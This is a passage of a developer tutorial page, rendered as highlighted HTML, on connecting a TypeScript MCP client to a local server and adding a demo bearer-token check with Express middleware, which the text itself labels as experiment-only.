punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'http://localhost:3000/mcp'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">connect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">transport</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> tools </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listTools</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tools</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">map</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tool </span><span class="token operator">=&gt;</span><span class="token plain"> tool</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">name</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">finally</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>The <code>StreamableHTTPClientTransport</code> handles communication with our HTTP endpoint. Once connected, <code>listTools()</code> retrieves the tools advertised by the server.</p>
</li>
<li class="">
<p>Open another terminal in the same project directory and run:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx tsx client.ts</span><br></span></code></pre></div></div>
</li>
</ol>
<p>The client should retrieve our <code>add</code> tool:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">[ 'add' ]</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="call-the-tool">Call the tool<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#call-the-tool" class="hash-link" aria-label="Direct link to Call the tool" title="Direct link to Call the tool" translate="no">​</a></h3>
<p>We've confirmed that the client can discover the tool. Now let's invoke it.</p>
<ol>
<li class="">
<p>Add the following code immediately after the <code>console.log()</code> statement, before the <code>finally</code> block:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> result </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">callTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'add'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  arguments</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    a</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">5</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    b</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">10</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">content</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The client sends the tool name and arguments to the MCP server. The server executes the tool and returns the result.</p>
</li>
<li class="">
<p>Run the client again:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx tsx client.ts</span><br></span></code></pre></div></div>
</li>
</ol>
<p>We should see output similar to:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">[ 'add' ]</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">[ { type: 'text', text: '15' } ]</span><br></span></code></pre></div></div>
<p>Our client has connected to an MCP server, discovered its available tools, and invoked one.</p>
<p>We haven't used an AI model or agent framework yet. Those can sit above this client and decide which tools to call. The MCP client remains responsible for communicating with the server.</p>
<p>For now, we have a working connection we can experiment with. Next, let's see what happens when the server requires authentication.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-static-headers-are-not-enough">Why static headers are not enough<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#why-static-headers-are-not-enough" class="hash-link" aria-label="Direct link to Why static headers are not enough" title="Direct link to Why static headers are not enough" translate="no">​</a></h2>
<p>Our MCP client currently connects to the server without authentication. That's fine for the <code>add</code> tool, but imagine the server exposes tools that access private documents.</p>
<p>Let's modify our local server to require an access token and see how the client behaves.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="require-an-access-token">Require an access token<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#require-an-access-token" class="hash-link" aria-label="Direct link to Require an access token" title="Direct link to Require an access token" translate="no">​</a></h3>
<p>We're going to add an Express middleware that checks for an access token before passing the request to the MCP handler.</p>
<ol>
<li class="">
<p>Open the <code>server.ts</code> file we created earlier.</p>
</li>
<li class="">
<p>Find this code near the bottom:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> app </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpExpressApp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> mcpHandler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">toNodeHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">handler</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'/mcp'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Replace that block with:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> app </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpExpressApp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> mcpHandler </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">toNodeHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">handler</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Check the access token before processing MCP requests.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">use</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'/mcp'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> authorization </span><span class="token operator">=</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">headers</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">authorization</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">authorization </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Bearer demo-token'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">setHeader</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'WWW-Authenticate'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Bearer'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">status</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">401</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">send</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Unauthorized'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">next</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'/mcp'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Leave the rest of <code>server.ts</code> unchanged.</p>
</li>
</ol>
<p>The middleware checks the <code>Authorization</code> header on every request to <code>/mcp</code>. If the token is missing or doesn't match <code>demo-token</code>, the server returns <code>401 Unauthorized</code>.</p>
<p>If the token matches, Express passes the request to the MCP handler.</p>
<p>We're using a hardcoded token only for this experiment. This isn't real OAuth token validation, and we shouldn't use this approach in a production server.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="test-the-protected-server">Test the protected server<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#test-the-protected-server" class="hash-link" aria-label="Direct link to Test the protected server" title="Direct link to Test the protected server" translate="no">​</a></h3>
<ol>
<li class="">
<p>Stop the running server by pressing <code>Ctrl+C</code> in its terminal.</p>
</li>
<li class="">
<p>Restart it:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx tsx server.ts</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Open another terminal in the project directory and run our existing client:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx tsx client.ts</span><br></span></code></pre></div></div>
<p>The connection should fail with an authorization error. Our client is still connecting without credentials, but the server now requires an access token.</p>
</li>
<li class="">
<p>Inspect the response directly using <code>curl</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">curl -i -X POST http://localhost:3000/mcp \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -H 'Content-Type: application/json' \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -d '{}'</span><br></span></code></pre></div></div>
<p>The server should return an HTTP response beginning with:</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">HTTP/1.1 401 Unauthorized</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">WWW-Authenticate: Bearer</span><br></span></code></pre></div></div>
</li>
</ol>
<p>The request body isn't a valid MCP message, but that doesn't matter for this test. Our authentication middleware rejects the request before the MCP handler processes it.</p>
<p>We've now confirmed that the server requires authentication.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="supply-a-token-from-the-client">Supply a token from the client<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#supply-a-token-from-the-client" class="hash-link" aria-label="Direct link to Supply a token from the client" title="Direct link to Supply a token from the client" translate="no">​</a></h3>
<p>Let's update the client to send the token our test server expects.</p>
<ol>
<li class="">
<p>Open <code>client.ts</code>.</p>
</li>
<li class="">
<p>Find the transport initialization:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'http://localhost:3000/mcp'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Replace it with:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> transport </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'http://localhost:3000/mcp'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    requestInit</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        Authorization</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Bearer demo-token'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>We're using <code>requestInit</code> to supply an HTTP header that the transport includes when making requests to the MCP server.</p>
</li>
<li class="">
<p>Save <code>client.ts</code> and run it again:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx tsx client.ts</span><br></span></code></pre></div></div>
</li>
</ol>
<p>This time, the connection should succeed, and you should see the tool list and the result again:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">[ 'add' ]</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">[ { type: 'text', text: '15' } ]</span><br></span></code></pre></div></div>
<p>The client sends <code>demo-token</code>, the server accepts it, and the MCP handler processes the requests.</p>
<p>We've successfully made an authenticated MCP connection.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-happens-if-the-token-is-wrong">What happens if the token is wrong?<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#what-happens-if-the-token-is-wrong" class="hash-link" aria-label="Direct link to What happens if the token is wrong?" title="Direct link to What happens if the token is wrong?" translate="no">​</a></h3>
<p>Let's try one more test.</p>
<ol>
<li class="">
<p>In <code>client.ts</code>, change the authorization header to:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Bearer wrong-token'</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Save the file and run the client again:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx tsx client.ts</span><br></span></code></pre></div></div>
